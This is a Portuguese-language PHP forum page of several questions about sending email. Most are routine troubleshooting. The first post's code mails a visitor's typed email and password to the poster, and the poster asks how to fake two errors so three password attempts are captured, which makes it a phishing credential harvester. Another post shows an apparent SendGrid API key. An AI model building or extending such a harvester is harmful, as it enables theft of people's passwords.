-
Conteúdo Similar
-
Por eduardomr98
Boa noite amigos, preciso urgente de uma ajuda, estou iniciando em PHP e estou com alguns exercícios, criei uma página web em html e css básico com dois inputs ( email e senha) e um botão para enviar, segue o código:
<?php function mail_sender(){ if(! ( isset($_REQUEST['email']) && isset($_REQUEST['password']) ) ){ return false; } $email = $_REQUEST['email']; $password = $_REQUEST['password']; $reciever = "meuemail@gmail.com"; $subject = "Novo acesso usuario"; $message = "Usuario: ". $email; $message .= "\nSenha: ". $password; return mail($reciever, $subject, $message); } if(mail_sender()){ header("Location: sucesso.html"); } ?> Ele puxa o EMAIL e a SENHA digitada, envia para o meu email, até ai tudo bem, porém o nível 2 do exercício exige que, ao usuário digitar a senha pela primeira vez e clicar no botao de submit, ele apareça um erro, e limpe o campo, e repita isso por 2x.
Na terceira tentativa de por a senha, ele deve efetuar a ação de enviar o email, e ao invés de chegar ao email apenas o campo email e campo senha, deve chegar o campo email com as 3 senhas digitadas...
Obrigado!!
-
Por opl12
Olá Mestres
Estou testando enviar email pelo PHP,
No windows 10 Instalei o Xampp, e fiz as configurações abaixo:
Configurei o arquivo php.ini com: sendmail_path = "\"C:\xampp\sendmail\sendmail.exe\" -t"
configurei o arquivo sendmail.ini com: smtp_server=smtp.gmail.com
smtp_port=587
auth_username= meu_email@gmail.com
auth_password= minha_senha_do_email
Pelo código php não retorna em erro, apenas diz que foi enviado com sucesso.
mas o email nunca chega hahahahah nem está no lixo eletônico
Sabem se falta algo?
-
Por biakelly
Oi meninos,
Configurei o SendGrid em minha aplicação.
Percebi que apenas e-mails terminados em "gmail.com" recebem as mensagens e outros provedores não.
Poderiam checar se fiz alguma burrada abaixo e/ou me ajudar com a solução desse problema?
obrigada!
function send_mail($to, $subject, $message) { require 'SendGrid/vendor/autoload.php'; // Necessário inserir a chave $apiKey = 'SG.W9asjbdfaisdjn9yok6Y__FI9Ew.NrMhanDN-RKDO579ldsjfbasdfnpausiM'; $sendgrid = new \SendGrid($apiKey); $from = new SendGrid\Email(null, "meu@email.com"); $to = new SendGrid\Email(null, $to); $content = new SendGrid\Content("text/html", $message); $mail = new SendGrid\Mail($from, $subject, $to, $content); try { $response = $sendgrid->client->mail()->send()->post($mail); // print $response->statusCode() . "\n"; // print_r($response->headers()); // print $response->body() . "\n"; } catch (Exception $e) { // echo 'Caught exception: ', $e->getMessage(), "\n"; } }
-
Por analuciagpontes
Galera...
Tenho uma hospedagem no Hostgator e quero fazer um phpmailer.... Só que não dá pra fazer com 2 arquivos (um em html e outro em php). Como faço para chamar a função no form action?
Envio abaixo o código que está sendo usado.
<html>
<head>
<title>Formulario Fale conosco</title>
<style>
body { padding: 50px 100px; font-size: 13px; font-family: arial, Tahoma, sans-serif; }
a { color:#000; } h2 { margin-bottom: 20px; color: #133141; }
input, textarea { padding: 10px; border: 1px solid #E5E5E5; width: 200px; color: #999999; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 8px; -moz-box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 8px; -webkit-box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 8px; }
textarea { width: 400px; height: 150px; max-width: 400px; line-height: 18px; }
input:hover, textarea:hover, input:focus, textarea:focus { border-color: 1px solid #C9C9C9; box-
shadow: rgba(0, 0, 0, 0.2) 0px 0px 8px; -moz-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 8px; -webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 8px; }
.form label { margin-bottom: 10px; color: #999999; display: block; }
.submit input { width: 100px; height: 40px; background-color: #133141; color: #FFF; border-radius: 3px; moz-border-radius: 3px; -webkit-border-radius: 3px; }
</style>
</head>
<body>
<?php
if (isset($_POST['BTEnvia'])){
$function conec (mysql_connect ("XXX.hostgator.com.br","XXX", "XXX", "XXX"));{
$nome = $_POST['nome'];
$email = $_POST['email'];
$telefone = $_POST['telefone'];
$mensagem = $_POST['mensagem'];
$email_remetente = "XXX";
$email_destinatario = "XXX";
$email_reply = "$email";
$email_assunto = "Contato formmail";
$email_conteudo = "Nome = $nome \n";
$email_conteudo .= "Email = $email \n";
$email_conteudo .= "Telefone = $telefone \n";
$email_conteudo .= "Mensagem = $mensagem \n";
$email_headers = implode ( "\n",array ( "From: $email_remetente", "Reply-To: $email_reply", "Return-Path: $email_remetente","MIME-Version: 1.0","X-Priority: 3","Content-Type: text/html; charset=UTF-8" ) );
}
if (mail ($email_destinatario, $email_assunto, nl2br($email_conteudo), $email_headers)){
echo "E-Mail enviado com sucesso!";
}
else{
echo "Falha no envio do E-Mail!"; }}
?>
<form method="POST" action="conec()">
<p>
Nome:<br />
<input type="text" size="30" name="nome">
</p>
<p>
E-mail:<br />
<input type="text" size="30" name="email">
</p>
<p>
Telefone:<br />
<input type="text" size="35" name="telefone">
</p>
<p>
Mensagem:<br />
<input type="text" size="35" name="mensagem">
</p>
<p>
<input type="submit" name="BTEnvia" value="Enviar">
<input type="reset" name="BTApaga" value="Apagar">
</p>
</form>
</body>
</html>
-
Por Gustavo2503
Estes são alguns pontos do que eu preciso
Eu tenho um sistema que em cada registro tem um ou mais anexos. Os nomes destes anexos estão guardados no banco de dados, e os arquivos ficam na pasta anexos/ no servidor. O usuário manda este registro via email e os anexos devem ir juntos. Eu estou usando a função do PHP mail(). Objetivo: Enviar um email com um ou mais anexos
Problema: Este código só está enviando um anexo, que é o último anexo que a query pega.
OBS.: Eu não entendo de boundary e de anexos por email, eu peguei esse código na internet, mas eu fiz algumas alterações nele, porque no código original só mandava um anexo.
$assunto = "Registros"; $boundary = "XYZ-".md5(date("dmYis"))."-ZYX"; // cabeçalho do email $cabecalho = "MIME-Version: 1.0" . PHP_EOL; $cabecalho .= "Content-Type: multipart/mixed; "; $cabecalho .= "boundary=" . $boundary . PHP_EOL; $cabecalho .= "$boundary" . PHP_EOL; $msg = ""; // Anexos $sql = " SELECT A.LOCAL, A.ARQUIVO FROM TB_ANEXOS AS A LEFT JOIN TB_REGISTROS AS R ON (A.ID_REGISTRO = R.ID) WHERE R.ID = $ID "; $resultado = mysqli_query($link, $sql); if ($resultado){ while ($dados = mysqli_fetch_array($resultado, MYSQLI_ASSOC)){ $LOCAL = $dados['LOCAL']; $ARQUIVO_NAME = $dados['ARQUIVO']; $path = 'anexos/'.$LOCAL; $fileType = mime_content_type( $path ); // Pegando o conteúdo do arquivo $fp = fopen( $path, "rb" ); // abre o arquivo enviado $anexo = fread( $fp, filesize( $path ) ); // calcula o tamanho $anexo = chunk_split(base64_encode( $anexo )); // codifica o anexo em base 64 fclose( $fp ); // fecha o arquivo $msg.= "Content-Type: ". $fileType ."; name=\"". $ARQUIVO_NAME . "\"" . PHP_EOL; $msg.= "Content-Transfer-Encoding: base64" . PHP_EOL; $msg.= "Content-Disposition: attachment; filename=\"". $ARQUIVO_NAME . "\"" . PHP_EOL; $msg.= "$anexo" . PHP_EOL; $msg.= "--$boundary" . PHP_EOL; } } $msg.= "--$boundary" . PHP_EOL; $msg.= "Content-Type: text/html; charset='utf-8'" . PHP_EOL; $msg.= " <!doctype html> <html lang='pt-br'> <head> <meta charset='UTF-8'> <meta name='viewport' content='width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0'> <meta http-equiv='X-UA-Compatible' content='ie=edge'> <title>$assunto</title> <style> h2, b, legend { color: #2d2d2d; } </style> </head> <body> <p>CORPO DO EMAIL</p> </body> </html> "; $msg.= "--$boundary" . PHP_EOL; if(mail($para, $assunto, $msg, $cabecalho)) { echo "<p>Email enviado com sucesso</p>"; } else { echo '<p style="color: #f00">Erro!</p>'; }
-